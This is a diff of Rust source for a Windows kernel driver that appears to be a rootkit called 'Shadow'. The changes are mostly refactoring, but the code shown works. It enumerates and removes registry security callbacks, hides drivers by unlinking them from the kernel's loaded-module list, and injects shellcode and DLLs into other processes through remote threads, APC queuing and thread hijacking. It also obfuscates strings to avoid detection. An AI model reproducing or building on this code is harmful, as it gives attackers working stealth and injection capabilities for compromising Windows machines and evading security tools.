pub unsafe fn enumerate(callback: Callbacks) -> ShadowResult<Vec<CallbackInfoOutput>> {
|
||||||
|
// Retrieve the callback address based on the callback type
|
||||||
|
let (callback, count, lock) =
|
||||||
|
if let CallbackResult::Registry(addr) = find_callback_address(&callback)? {
|
||||||
|
addr
|
||||||
|
} else {
|
||||||
|
return Err(ShadowError::CallbackNotFound);
|
||||||
|
};
|
||||||
|
|
||||||
|
let (mut ldr_data, module_count) = modules()?;
|
||||||
|
let start_entry = ldr_data;
|
||||||
|
|
||||||
|
let mut callbacks = Vec::new();
|
||||||
|
let count = *(count as *mut u32) + 1;
|
||||||
|
let mut pcm_callback = callback as *mut CM_CALLBACK;
|
||||||
|
|
||||||
|
with_push_lock_exclusive(lock as *mut u64, || {
|
||||||
|
for i in 0..count as isize {
|
||||||
|
if pcm_callback.is_null() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Iterate over the loaded modules
|
||||||
|
for _ in 0..module_count {
|
||||||
|
let start_address = (*ldr_data).DllBase;
|
||||||
|
let image_size = (*ldr_data).SizeOfImage;
|
||||||
|
let end_address = start_address as u64 + image_size as u64;
|
||||||
|
let addr = (*pcm_callback).Function;
|
||||||
|
|
||||||
|
if addr > start_address as u64 && addr < end_address {
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*ldr_data).BaseDllName.Buffer,
|
||||||
|
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Store the callback information
|
||||||
|
let mut name = [0u16; 256];
|
||||||
|
let length = core::cmp::min(buffer.len(), 255);
|
||||||
|
name[..length].copy_from_slice(&buffer[..length]);
|
||||||
|
|
||||||
|
callbacks.push(CallbackInfoOutput {
|
||||||
|
index: i as u8,
|
||||||
|
address: addr as usize,
|
||||||
|
name,
|
||||||
|
..Default::default()
|
||||||
|
});
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Go to the next module in the list
|
||||||
|
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reset ldr_data for next callback
|
||||||
|
ldr_data = start_entry;
|
||||||
|
pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(callbacks)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// List of callbacks currently removed.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `target_callback` - Pointer to the callback information input.
|
||||||
|
/// * `callback_info` - Pointer to the callback information output.
|
||||||
|
/// * `information` - Pointer to a variable to store information size.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// Status of the operation.
|
||||||
|
pub unsafe fn enumerate_removed() -> ShadowResult<Vec<CallbackInfoOutput>> {
|
||||||
|
let mut callbacks = Vec::new();
|
||||||
|
let callbacks_removed = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
||||||
|
let (mut ldr_data, module_count) = modules()?;
|
||||||
|
let start_entry = ldr_data;
|
||||||
|
|
||||||
|
for (i, callback) in callbacks_removed.iter().enumerate() {
|
||||||
|
for _ in 0..module_count {
|
||||||
|
let start_address = (*ldr_data).DllBase;
|
||||||
|
let image_size = (*ldr_data).SizeOfImage;
|
||||||
|
let end_address = start_address as u64 + image_size as u64;
|
||||||
|
|
||||||
|
if callback.address > start_address as u64 && callback.address < end_address {
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*ldr_data).BaseDllName.Buffer,
|
||||||
|
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Store the callback information
|
||||||
|
let mut name = [0u16; 256];
|
||||||
|
let length = core::cmp::min(buffer.len(), 255);
|
||||||
|
name[..length].copy_from_slice(&buffer[..length]);
|
||||||
|
|
||||||
|
callbacks.push(CallbackInfoOutput {
|
||||||
|
index: callback.index as u8,
|
||||||
|
address: callback.address as usize,
|
||||||
|
name,
|
||||||
|
..Default::default()
|
||||||
|
});
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Move to the next module
|
||||||
|
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reset the module list pointer for the next callback
|
||||||
|
ldr_data = start_entry;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(callbacks)
|
||||||
|
}
|
||||||
@@ -3,22 +3,20 @@ use alloc::{
|
|||||||
vec::Vec,
|
vec::Vec,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
use common::structs::DriverInfo;
|
||||||
use obfstr::obfstr;
|
use obfstr::obfstr;
|
||||||
use wdk_sys::{
|
use wdk_sys::{
|
||||||
LIST_ENTRY, NTSTATUS,
|
ntddk::MmGetSystemRoutineAddress, LIST_ENTRY, NTSTATUS, PLIST_ENTRY, STATUS_SUCCESS,
|
||||||
PLIST_ENTRY, STATUS_SUCCESS,
|
|
||||||
ntddk::MmGetSystemRoutineAddress,
|
|
||||||
};
|
};
|
||||||
|
|
||||||
use common::structs::DriverInfo;
|
|
||||||
use crate::{Result, error::ShadowError, uni};
|
|
||||||
use crate::data::PsLoadedModuleResource;
|
use crate::data::PsLoadedModuleResource;
|
||||||
use crate::{
|
use crate::{
|
||||||
|
error::{ShadowError, ShadowResult},
|
||||||
|
uni,
|
||||||
|
};
|
||||||
|
use crate::{
|
||||||
|
lock::{with_eresource_exclusive_lock, with_eresource_shared_lock},
|
||||||
LDR_DATA_TABLE_ENTRY,
|
LDR_DATA_TABLE_ENTRY,
|
||||||
lock::{
|
|
||||||
with_eresource_exclusive_lock,
|
|
||||||
with_eresource_shared_lock
|
|
||||||
},
|
|
||||||
};
|
};
|
||||||
|
|
||||||
/// Represents driver manipulation operations.
|
/// Represents driver manipulation operations.
|
||||||
@@ -33,15 +31,17 @@ impl Driver {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok((LIST_ENTRY, LDR_DATA_TABLE_ENTRY))` - Returns a tuple containing the previous `LIST_ENTRY`
|
/// Tuple containing the previous `LIST_ENTRY` and the `LDR_DATA_TABLE_ENTRY` of the hidden driver,
|
||||||
/// and the `LDR_DATA_TABLE_ENTRY` of the hidden driver, which can be used later to restore the driver in the list.
|
/// which can be used later to restore the driver in the list.
|
||||||
/// * `Err(ShadowError)` - If the driver is not found or a failure occurs during the process.
|
pub unsafe fn hide_driver(
|
||||||
pub unsafe fn hide_driver(driver_name: &str) -> Result<(LIST_ENTRY, LDR_DATA_TABLE_ENTRY)> {
|
driver_name: &str,
|
||||||
|
) -> ShadowResult<(LIST_ENTRY, LDR_DATA_TABLE_ENTRY)> {
|
||||||
// Convert "PsLoadedModuleList" to a UNICODE_STRING to get its address
|
// Convert "PsLoadedModuleList" to a UNICODE_STRING to get its address
|
||||||
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
|
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
|
||||||
|
|
||||||
// Get the address of the PsLoadedModuleList, which contains the list of loaded drivers
|
// Get the address of the PsLoadedModuleList, which contains the list of loaded drivers
|
||||||
let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
|
let ldr_data =
|
||||||
|
MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
if ldr_data.is_null() {
|
if ldr_data.is_null() {
|
||||||
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"));
|
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"));
|
||||||
}
|
}
|
||||||
@@ -105,13 +105,12 @@ impl Driver {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(STATUS_SUCCESS)` - If the driver is successfully restored to the list.
|
/// If the driver is successfully restored to the list.
|
||||||
/// * `Err(ShadowError)` - If an error occurs during the restoration process.
|
|
||||||
pub unsafe fn unhide_driver(
|
pub unsafe fn unhide_driver(
|
||||||
driver_name: &str,
|
driver_name: &str,
|
||||||
list_entry: PLIST_ENTRY,
|
list_entry: PLIST_ENTRY,
|
||||||
driver_entry: *mut LDR_DATA_TABLE_ENTRY,
|
driver_entry: *mut LDR_DATA_TABLE_ENTRY,
|
||||||
) -> Result<NTSTATUS> {
|
) -> ShadowResult<NTSTATUS> {
|
||||||
with_eresource_exclusive_lock(PsLoadedModuleResource, || {
|
with_eresource_exclusive_lock(PsLoadedModuleResource, || {
|
||||||
// Restore the driver's link pointers
|
// Restore the driver's link pointers
|
||||||
(*driver_entry).InLoadOrderLinks.Flink = (*list_entry).Flink as *mut LIST_ENTRY;
|
(*driver_entry).InLoadOrderLinks.Flink = (*list_entry).Flink as *mut LIST_ENTRY;
|
||||||
@@ -132,18 +131,16 @@ impl Driver {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(Vec<DriverInfo>)` - A vector of `DriverInfo` structs, each containing the name, base address,
|
/// A vector of [`DriverInfo`] structs.
|
||||||
/// and index of a loaded driver.
|
pub unsafe fn enumerate_driver() -> ShadowResult<Vec<DriverInfo>> {
|
||||||
/// * `Err(ShadowError)` - If the function fails to access the `PsLoadedModuleList` or any other
|
|
||||||
/// errors occur during the process.
|
|
||||||
pub unsafe fn enumerate_driver() -> Result<Vec<DriverInfo>> {
|
|
||||||
let mut drivers = Vec::with_capacity(276);
|
let mut drivers = Vec::with_capacity(276);
|
||||||
|
|
||||||
// Convert "PsLoadedModuleList" to a UNICODE_STRING to get its address
|
// Convert "PsLoadedModuleList" to a UNICODE_STRING to get its address
|
||||||
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
|
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
|
||||||
|
|
||||||
// Get the address of the PsLoadedModuleList, which contains the list of loaded drivers
|
// Get the address of the PsLoadedModuleList, which contains the list of loaded drivers
|
||||||
let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
|
let ldr_data =
|
||||||
|
MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
if ldr_data.is_null() {
|
if ldr_data.is_null() {
|
||||||
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"));
|
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"));
|
||||||
}
|
}
|
||||||
@@ -1,19 +1,15 @@
|
|||||||
use alloc::string::String;
|
use alloc::string::String;
|
||||||
use thiserror::Error;
|
use thiserror::Error;
|
||||||
|
|
||||||
|
pub type ShadowResult<T> = core::result::Result<T, ShadowError>;
|
||||||
|
|
||||||
#[derive(Debug, Error)]
|
#[derive(Debug, Error)]
|
||||||
pub enum ShadowError {
|
pub enum ShadowError {
|
||||||
/// Represents an error where an API call failed.
|
/// Represents an error where an API call failed.
|
||||||
///
|
|
||||||
/// * `{0}` - The name of the API.
|
|
||||||
/// * `{1}` - The status code returned by the API.
|
|
||||||
#[error("{0} Failed With Status: {1}")]
|
#[error("{0} Failed With Status: {1}")]
|
||||||
ApiCallFailed(&'static str, i32),
|
ApiCallFailed(&'static str, i32),
|
||||||
|
|
||||||
/// Represents an error where a function execution failed at a specific line.
|
/// Represents an error where a function execution failed at a specific line.
|
||||||
///
|
|
||||||
/// * `{0}` - The name of the function.
|
|
||||||
/// * `{1}` - The line number where the function failed.
|
|
||||||
#[error("{0} function failed on the line: {1}")]
|
#[error("{0} function failed on the line: {1}")]
|
||||||
FunctionExecutionFailed(&'static str, u32),
|
FunctionExecutionFailed(&'static str, u32),
|
||||||
|
|
||||||
@@ -22,137 +18,75 @@ pub enum ShadowError {
|
|||||||
InvalidMemory,
|
InvalidMemory,
|
||||||
|
|
||||||
/// Error when a process with a specific identifier is not found.
|
/// Error when a process with a specific identifier is not found.
|
||||||
///
|
|
||||||
/// This error is returned when the system cannot locate a process with the given
|
|
||||||
/// identifier (e.g., PID or process name).
|
|
||||||
///
|
|
||||||
/// * `{0}` - The identifier of the process that was not found.
|
|
||||||
#[error("Process with identifier {0} not found")]
|
#[error("Process with identifier {0} not found")]
|
||||||
ProcessNotFound(String),
|
ProcessNotFound(String),
|
||||||
|
|
||||||
/// Error when a thread with a specific TID is not found.
|
/// Error when a thread with a specific TID is not found.
|
||||||
///
|
|
||||||
/// This error occurs when a thread with the specified TID cannot be located in the system.
|
|
||||||
///
|
|
||||||
/// * `{0}` - The thread identifier (TID) that was not found.
|
|
||||||
#[error("Thread with TID {0} not found")]
|
#[error("Thread with TID {0} not found")]
|
||||||
ThreadNotFound(usize),
|
ThreadNotFound(usize),
|
||||||
|
|
||||||
/// Represents an invalid device request error.
|
/// Represents an invalid device request error.
|
||||||
///
|
|
||||||
/// This error occurs when an invalid or unsupported request is made to a device.
|
|
||||||
#[error("Invalid Device Request")]
|
#[error("Invalid Device Request")]
|
||||||
InvalidDeviceRequest,
|
InvalidDeviceRequest,
|
||||||
|
|
||||||
/// Represents an error where a null pointer was encountered.
|
/// Represents an error where a null pointer was encountered.
|
||||||
///
|
|
||||||
/// This error occurs when a null pointer is encountered during an operation that
|
|
||||||
/// requires a valid memory reference.
|
|
||||||
///
|
|
||||||
/// * `{0}` - The name of the pointer that was null.
|
|
||||||
#[error("Pointer is null: {0}")]
|
#[error("Pointer is null: {0}")]
|
||||||
NullPointer(&'static str),
|
NullPointer(&'static str),
|
||||||
|
|
||||||
/// Represents an error where a string conversion from a raw pointer failed.
|
/// Represents an error where a string conversion from a raw pointer failed.
|
||||||
///
|
|
||||||
/// This error is returned when the system fails to convert a raw pointer to a string,
|
|
||||||
/// typically during Unicode or ANSI string conversions.
|
|
||||||
///
|
|
||||||
/// * `{0}` - The memory address of the raw pointer that failed to convert.
|
|
||||||
#[error("Failed to convert string from raw pointer at {0}")]
|
#[error("Failed to convert string from raw pointer at {0}")]
|
||||||
StringConversionFailed(usize),
|
StringConversionFailed(usize),
|
||||||
|
|
||||||
/// Represents an error where a specific module was not found.
|
/// Represents an error where a specific module was not found.
|
||||||
///
|
|
||||||
/// This error occurs when a module (e.g., a DLL or driver) with the specified name
|
|
||||||
/// cannot be found in the system.
|
|
||||||
///
|
|
||||||
/// * `{0}` - The name of the module that was not found.
|
|
||||||
#[error("Module {0} not found")]
|
#[error("Module {0} not found")]
|
||||||
ModuleNotFound(String),
|
ModuleNotFound(String),
|
||||||
|
|
||||||
/// Represents an error where a driver with a specific name was not found.
|
/// Represents an error where a driver with a specific name was not found.
|
||||||
///
|
|
||||||
/// This error occurs when a driver with the given name cannot be found in the
|
|
||||||
/// system's loaded drivers list.
|
|
||||||
///
|
|
||||||
/// * `{0}` - The name of the driver that was not found.
|
|
||||||
#[error("Driver {0} not found")]
|
#[error("Driver {0} not found")]
|
||||||
DriverNotFound(String),
|
DriverNotFound(String),
|
||||||
|
|
||||||
/// Represents an error where a pattern scan failed to locate a required pattern in memory.
|
/// Represents an error where a pattern scan failed to locate a required pattern in memory.
|
||||||
///
|
|
||||||
/// This error occurs when a memory pattern scan fails to match the expected byte sequence.
|
|
||||||
#[error("Pattern not found")]
|
#[error("Pattern not found")]
|
||||||
PatternNotFound,
|
PatternNotFound,
|
||||||
|
|
||||||
/// Represents an error where a function could not be found in the specified module.
|
/// Represents an error where a function could not be found in the specified module.
|
||||||
///
|
|
||||||
/// This error occurs when a named function is not found in a given module (DLL).
|
|
||||||
///
|
|
||||||
/// * `{0}` - The name of the function that was not found.
|
|
||||||
#[error("Function {0} not found in module")]
|
#[error("Function {0} not found in module")]
|
||||||
FunctionNotFound(String),
|
FunctionNotFound(String),
|
||||||
|
|
||||||
/// Represents an unknown failure in the system.
|
/// Represents an unknown failure in the system.
|
||||||
///
|
|
||||||
/// This is a generic catch-all error for unexpected failures. It includes the name of
|
|
||||||
/// the failing operation and the line number where the failure occurred.
|
|
||||||
///
|
|
||||||
/// * `{0}` - The operation that failed.
|
|
||||||
/// * `{1}` - The line number where the failure occurred.
|
|
||||||
#[error("Unknown failure in {0}, at line {1}")]
|
#[error("Unknown failure in {0}, at line {1}")]
|
||||||
UnknownFailure(&'static str, u32),
|
UnknownFailure(&'static str, u32),
|
||||||
|
|
||||||
/// Represents an error when installing or uninstalling a hook on the Nsiproxy driver.
|
/// Represents an error when installing or uninstalling a hook on the Nsiproxy driver.
|
||||||
///
|
|
||||||
/// This error occurs when the system fails to install or remove a hook on the Nsiproxy driver.
|
|
||||||
#[error("Error handling hook on Nsiproxy driver")]
|
#[error("Error handling hook on Nsiproxy driver")]
|
||||||
HookFailure,
|
HookFailure,
|
||||||
|
|
||||||
/// Represents an error when a buffer is too small to complete an operation.
|
/// Represents an error when a buffer is too small to complete an operation.
|
||||||
///
|
|
||||||
/// This error occurs when the provided buffer is not large enough to hold the expected
|
|
||||||
/// data, resulting in an operation failure.
|
|
||||||
#[error("Small buffer")]
|
#[error("Small buffer")]
|
||||||
BufferTooSmall,
|
BufferTooSmall,
|
||||||
|
|
||||||
/// Represents an error when a buffer is misaligned for the expected data structure.
|
/// Represents an error when a buffer is misaligned for the expected data structure.
|
||||||
///
|
|
||||||
/// This error occurs when the provided buffer does not have the correct memory alignment
|
|
||||||
/// required for safe access.
|
|
||||||
#[error("Misaligned buffer")]
|
#[error("Misaligned buffer")]
|
||||||
MisalignedBuffer,
|
MisalignedBuffer,
|
||||||
|
|
||||||
/// Error indicating that a callback could not be found.
|
/// Error indicating that a callback could not be found.
|
||||||
///
|
|
||||||
/// This occurs when the system is unable to locate the expected callback function.
|
|
||||||
#[error("Error searching for the callback")]
|
#[error("Error searching for the callback")]
|
||||||
CallbackNotFound,
|
CallbackNotFound,
|
||||||
|
|
||||||
/// Error indicating that a target with a specific index was not found.
|
/// Error indicating that a target with a specific index was not found.
|
||||||
///
|
|
||||||
/// This occurs when an operation fails to locate an item by its index in a list or array.
|
|
||||||
///
|
|
||||||
/// # Fields
|
|
||||||
///
|
|
||||||
/// * `{0}` - The index of the target that was not found.
|
|
||||||
#[error("Target not found with index: {0}")]
|
#[error("Target not found with index: {0}")]
|
||||||
IndexNotFound(usize),
|
IndexNotFound(usize),
|
||||||
|
|
||||||
/// Error indicating that a failure occurred while removing a callback.
|
/// Error indicating that a failure occurred while removing a callback.
|
||||||
///
|
|
||||||
/// This occurs when the system fails to remove a callback that was previously registered.
|
|
||||||
#[error("Error removing a callback")]
|
#[error("Error removing a callback")]
|
||||||
RemoveFailureCallback,
|
RemoveFailureCallback,
|
||||||
|
|
||||||
/// Represents an error when the process's active list entry is invalid,
|
/// Represents an error when the process's active list entry is invalid,
|
||||||
/// such as when both the forward and backward pointers are null.
|
/// such as when both the forward and backward pointers are null.
|
||||||
#[error("Invalid list entry encountered")]
|
#[error("Invalid list entry encountered")]
|
||||||
InvalidListEntry,
|
InvalidListEntry,
|
||||||
|
|
||||||
/// Error indicating that a failure occurred while restoring a callback.
|
/// Error indicating that a failure occurred while restoring a callback.
|
||||||
///
|
|
||||||
/// This occurs when the system fails to restore a previously removed callback.
|
|
||||||
#[error("Error restoring a callback")]
|
#[error("Error restoring a callback")]
|
||||||
RestoringFailureCallback,
|
RestoringFailureCallback,
|
||||||
}
|
}
|
||||||
@@ -1,22 +1,17 @@
|
|||||||
use core::{ffi::c_void, mem::transmute, ptr::null_mut};
|
use core::{ffi::c_void, mem::transmute, ptr::null_mut};
|
||||||
use obfstr::obfstr as s;
|
use obfstr::obfstr as s;
|
||||||
use wdk_sys::{
|
use wdk_sys::{
|
||||||
_MODE::{KernelMode, UserMode},
|
|
||||||
ntddk::*,
|
ntddk::*,
|
||||||
|
_MODE::{KernelMode, UserMode},
|
||||||
*,
|
*,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
use crate::{attach::ProcessAttach, handle::Handle, pool::PoolMemory, *};
|
||||||
use crate::{
|
use crate::{
|
||||||
attach::ProcessAttach,
|
|
||||||
handle::Handle,
|
|
||||||
pool::PoolMemory,
|
|
||||||
*
|
|
||||||
};
|
|
||||||
use crate::{
|
|
||||||
error::ShadowError,
|
|
||||||
file::read_file,
|
|
||||||
patterns::{LDR_SHELLCODE, find_zw_function},
|
|
||||||
data::KAPC_ENVIROMENT::OriginalApcEnvironment,
|
data::KAPC_ENVIROMENT::OriginalApcEnvironment,
|
||||||
|
error::{ShadowError, ShadowResult},
|
||||||
|
file::read_file,
|
||||||
|
patterns::{find_zw_function, LDR_SHELLCODE},
|
||||||
};
|
};
|
||||||
|
|
||||||
/// Represents shellcode injection operations.
|
/// Represents shellcode injection operations.
|
||||||
@@ -32,9 +27,8 @@ impl Shellcode {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(STATUS_SUCCESS)` - If the injection is successful.
|
/// If the injection is successful.
|
||||||
/// * `Err(ShadowError)` - If any step fails.
|
pub unsafe fn thread(pid: usize, path: &str) -> ShadowResult<NTSTATUS> {
|
||||||
pub unsafe fn thread(pid: usize, path: &str) -> Result<NTSTATUS> {
|
|
||||||
// Find the address of NtCreateThreadEx to create a thread in the target process
|
// Find the address of NtCreateThreadEx to create a thread in the target process
|
||||||
let zw_thread_addr = find_zw_function(s!("NtCreateThreadEx"))? as *mut c_void;
|
let zw_thread_addr = find_zw_function(s!("NtCreateThreadEx"))? as *mut c_void;
|
||||||
|
|
||||||
@@ -42,7 +36,10 @@ impl Shellcode {
|
|||||||
let target_eprocess = Process::new(pid)?;
|
let target_eprocess = Process::new(pid)?;
|
||||||
|
|
||||||
// Open the target process with all access rights
|
// Open the target process with all access rights
|
||||||
let mut client_id = CLIENT_ID { UniqueProcess: pid as _, UniqueThread: null_mut() };
|
let mut client_id = CLIENT_ID {
|
||||||
|
UniqueProcess: pid as _,
|
||||||
|
UniqueThread: null_mut(),
|
||||||
|
};
|
||||||
let mut h_process: HANDLE = null_mut();
|
let mut h_process: HANDLE = null_mut();
|
||||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||||
let mut status = ZwOpenProcess(
|
let mut status = ZwOpenProcess(
|
||||||
@@ -75,7 +72,10 @@ impl Shellcode {
|
|||||||
);
|
);
|
||||||
|
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status));
|
return Err(ShadowError::ApiCallFailed(
|
||||||
|
"ZwAllocateVirtualMemory",
|
||||||
|
status,
|
||||||
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Copy the shellcode into the allocated memory in the target process
|
// Copy the shellcode into the allocated memory in the target process
|
||||||
@@ -140,9 +140,8 @@ impl Shellcode {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(STATUS_SUCCESS)` - If the injection is successful.
|
/// If the injection is successful.
|
||||||
/// * `Err(ShadowError)` - If any step fails.
|
pub unsafe fn apc(pid: usize, path: &str) -> ShadowResult<NTSTATUS> {
|
||||||
pub unsafe fn apc(pid: usize, path: &str) -> Result<NTSTATUS> {
|
|
||||||
// Read the shellcode from the provided file path
|
// Read the shellcode from the provided file path
|
||||||
let shellcode = read_file(path)?;
|
let shellcode = read_file(path)?;
|
||||||
|
|
||||||
@@ -153,14 +152,17 @@ impl Shellcode {
|
|||||||
let target_eprocess = Process::new(pid)?;
|
let target_eprocess = Process::new(pid)?;
|
||||||
let mut h_process: HANDLE = null_mut();
|
let mut h_process: HANDLE = null_mut();
|
||||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||||
let mut client_id = CLIENT_ID { UniqueProcess: pid as _, UniqueThread: null_mut() };
|
let mut client_id = CLIENT_ID {
|
||||||
|
UniqueProcess: pid as _,
|
||||||
|
UniqueThread: null_mut(),
|
||||||
|
};
|
||||||
let mut status = ZwOpenProcess(
|
let mut status = ZwOpenProcess(
|
||||||
&mut h_process,
|
&mut h_process,
|
||||||
PROCESS_ALL_ACCESS,
|
PROCESS_ALL_ACCESS,
|
||||||
&mut obj_attr,
|
&mut obj_attr,
|
||||||
&mut client_id,
|
&mut client_id,
|
||||||
);
|
);
|
||||||
|
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
|
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
|
||||||
}
|
}
|
||||||
@@ -181,7 +183,10 @@ impl Shellcode {
|
|||||||
);
|
);
|
||||||
|
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status));
|
return Err(ShadowError::ApiCallFailed(
|
||||||
|
"ZwAllocateVirtualMemory",
|
||||||
|
status,
|
||||||
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Copy the shellcode into the target process's memory
|
// Copy the shellcode into the target process's memory
|
||||||
@@ -273,9 +278,8 @@ impl Shellcode {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(STATUS_SUCCESS)` - If the injection is successful.
|
/// If the injection is successful.
|
||||||
/// * `Err(ShadowError)` - If any step fails.
|
pub unsafe fn thread_hijacking(pid: usize, path: &str) -> ShadowResult<NTSTATUS> {
|
||||||
pub unsafe fn thread_hijacking(pid: usize, path: &str) -> Result<NTSTATUS> {
|
|
||||||
// Retrieve the process handle from the given PID
|
// Retrieve the process handle from the given PID
|
||||||
let process = Process::new(pid)?;
|
let process = Process::new(pid)?;
|
||||||
let thread = find_thread(pid)?;
|
let thread = find_thread(pid)?;
|
||||||
@@ -303,7 +307,10 @@ impl Shellcode {
|
|||||||
);
|
);
|
||||||
|
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status));
|
return Err(ShadowError::ApiCallFailed(
|
||||||
|
"ZwAllocateVirtualMemory",
|
||||||
|
status,
|
||||||
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Copy the payload (BUFFER) into the allocated memory in the target process
|
// Copy the payload (BUFFER) into the allocated memory in the target process
|
||||||
@@ -322,7 +329,10 @@ impl Shellcode {
|
|||||||
);
|
);
|
||||||
|
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory [2]", status));
|
return Err(ShadowError::ApiCallFailed(
|
||||||
|
"ZwAllocateVirtualMemory [2]",
|
||||||
|
status,
|
||||||
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Interpret the allocated memory as a pointer to a CONTEXT structure
|
// Interpret the allocated memory as a pointer to a CONTEXT structure
|
||||||
@@ -372,9 +382,8 @@ impl DLL {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(STATUS_SUCCESS)` - If the injection is successful.
|
/// If the injection is successful.
|
||||||
/// * `Err(ShadowError)` - If any step fails.
|
pub unsafe fn thread(pid: usize, path: &str) -> ShadowResult<NTSTATUS> {
|
||||||
pub unsafe fn thread(pid: usize, path: &str) -> Result<NTSTATUS> {
|
|
||||||
// Find the address of NtCreateThreadEx to create a thread in the target process
|
// Find the address of NtCreateThreadEx to create a thread in the target process
|
||||||
let zw_thread_addr = find_zw_function(s!("NtCreateThreadEx"))?;
|
let zw_thread_addr = find_zw_function(s!("NtCreateThreadEx"))?;
|
||||||
|
|
||||||
@@ -384,7 +393,10 @@ impl DLL {
|
|||||||
// Open the target process
|
// Open the target process
|
||||||
let mut h_process = null_mut();
|
let mut h_process = null_mut();
|
||||||
let target_eprocess = Process::new(pid)?;
|
let target_eprocess = Process::new(pid)?;
|
||||||
let mut client_id = CLIENT_ID { UniqueProcess: pid as _, UniqueThread: null_mut() };
|
let mut client_id = CLIENT_ID {
|
||||||
|
UniqueProcess: pid as _,
|
||||||
|
UniqueThread: null_mut(),
|
||||||
|
};
|
||||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||||
let mut status = ZwOpenProcess(
|
let mut status = ZwOpenProcess(
|
||||||
&mut h_process,
|
&mut h_process,
|
||||||
@@ -413,7 +425,10 @@ impl DLL {
|
|||||||
);
|
);
|
||||||
|
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status));
|
return Err(ShadowError::ApiCallFailed(
|
||||||
|
"ZwAllocateVirtualMemory",
|
||||||
|
status,
|
||||||
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Copy the DLL path into the target process's memory
|
// Copy the DLL path into the target process's memory
|
||||||
@@ -465,9 +480,8 @@ impl DLL {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(STATUS_SUCCESS)` - If the injection is successful.
|
/// If the injection is successful.
|
||||||
